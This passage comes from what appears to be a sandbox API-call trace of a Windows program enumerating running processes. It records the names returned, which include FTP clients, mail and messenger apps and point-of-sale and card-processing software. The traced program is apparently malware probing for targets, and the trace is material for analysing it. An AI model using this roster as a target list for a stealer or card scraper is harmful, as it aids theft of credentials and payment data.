cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.537] lstrlenW (lpString="taskeng.exe") returned 11 [0069.537] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0069.538] lstrlenW (lpString="developingthousands.exe") returned 23 [0069.538] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0069.539] lstrlenW (lpString="efattack.exe") returned 12 [0069.539] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0069.540] lstrlenW (lpString="feedback.exe") returned 12 [0069.540] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0069.541] lstrlenW (lpString="happy blond engage.exe") returned 22 [0069.541] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0069.542] lstrlenW (lpString="controller_type.exe") returned 19 [0069.542] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0069.542] lstrlenW (lpString="donations_berry.exe") returned 19 [0069.542] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0069.543] lstrlenW (lpString="lindsay.exe") returned 11 [0069.543] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0069.544] lstrlenW (lpString="columnists.exe") returned 14 [0069.544] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0069.557] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0069.557] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0069.559] lstrlenW (lpString="chose.exe") returned 9 [0069.559] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0069.560] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0069.560] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0069.561] lstrlenW (lpString="methods.exe") returned 11 [0069.561] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0069.562] lstrlenW (lpString="circulation.exe") returned 15 [0069.562] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0069.563] lstrlenW (lpString="suited.exe") returned 10 [0069.563] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0069.565] lstrlenW (lpString="infrastructure.exe") returned 18 [0069.565] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0069.566] lstrlenW (lpString="manager_olympic.exe") returned 19 [0069.566] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0069.567] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0069.567] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0069.568] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0069.569] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.570] lstrlenW (lpString="3dftp.exe") returned 9 [0069.570] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.571] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0069.571] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.572] lstrlenW (lpString="alftp.exe") returned 9 [0069.572] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.573] lstrlenW (lpString="barca.exe") returned 9 [0069.573] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.575] lstrlenW (lpString="bitkinex.exe") returned 12 [0069.575] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.576] lstrlenW (lpString="coreftp.exe") returned 11 [0069.576] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0069.577] lstrlenW (lpString="far.exe") returned 7 [0069.577] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0069.578] lstrlenW (lpString="filezilla.exe") returned 13 [0069.578] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0069.579] lstrlenW (lpString="flashfxp.exe") returned 12 [0069.579] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0069.581] lstrlenW (lpString="fling.exe") returned 9 [0069.581] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0069.582] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0069.582] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0069.583] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0069.583] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0069.584] lstrlenW (lpString="icq.exe") returned 7 [0069.584] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0069.585] lstrlenW (lpString="leechftp.exe") returned 12 [0069.586] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0069.587] lstrlenW (lpString="ncftp.exe") returned 9 [0069.587] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0069.588] lstrlenW (lpString="notepad.exe") returned 11 [0069.588] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0069.590] lstrlenW (lpString="operamail.exe") returned 13 [0069.590] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0069.600] lstrlenW (lpString="pidgin.exe") returned 10 [0069.600] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0069.602] lstrlenW (lpString="scriptftp.exe") returned 13 [0069.602] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0069.605] lstrlenW (lpString="skype.exe") returned 9 [0069.605] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0069.607] lstrlenW (lpString="smartftp.exe") returned 12 [0069.607] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0069.609] lstrlenW (lpString="thunderbird.exe") returned 15 [0069.609] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0069.611] lstrlenW (lpString="totalcmd.exe") returned 12 [0069.611] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0069.613] lstrlenW (lpString="trillian.exe") returned 12 [0069.613] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0069.614] lstrlenW (lpString="webdrive.exe") returned 12 [0069.614] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0069.616] lstrlenW (lpString="whatsapp.exe") returned 12 [0069.616] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0069.617] lstrlenW (lpString="winscp.exe") returned 10 [0069.617] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0069.748] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0069.749] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0069.750] lstrlenW (lpString="active-charge.exe") returned 17 [0069.750] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0069.751] lstrlenW (lpString="accupos.exe") returned 11 [0069.752] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0069.753] lstrlenW (lpString="afr38.exe") returned 9 [0069.753] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0069.754] lstrlenW (lpString="aldelo.exe") returned 10 [0069.755] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0069.756] lstrlenW (lpString="ccv_server.exe") returned 14 [0069.756] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0069.757] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0069.757] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0069.759] lstrlenW (lpString="creditservice.exe") returned 17 [0069.759] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0069.760] lstrlenW (lpString="edcsvr.exe") returned 10 [0069.760] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0069.761] lstrlenW (lpString="fpos.exe") returned 8 [0069.761] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0069.762] lstrlenW (lpString="isspos.exe") returned 10 [0069.762] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0069.802] lstrlenW (lpString="mxslipstream.exe") returned 16 [0069.802] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0069.803] lstrlenW (lpString="omnipos.exe") returned 11 [0069.803] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0069.803] lstrlenW (lpString="spcwin.exe") returned 10 [0069.804] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0069.804] lstrlenW (lpString="spgagentservice.exe") returned 19 [0069.804] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0069.806] lstrlenW (lpString="utg2.exe") returned 8 [0069.806] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0069.807] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0069.807] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0069.808] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0069.808] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0069.808] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0069.808] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0069.809] lstrlenW (lpString="achieve.exe") returned 11 [0069.809] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0069.810] lstrlenW (lpString="harvard.exe") returned 11 [0069.810] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.811] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.811] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.811] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.811] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.812] lstrlenW (lpString="taskhost.exe") returned 12 [0069.812] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0069.813] lstrlenW (lpString="dllhost.exe") returned 11 [0069.813] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0069.814] lstrlenW (lpString="dllhost.exe") returned 11 [0069.814] 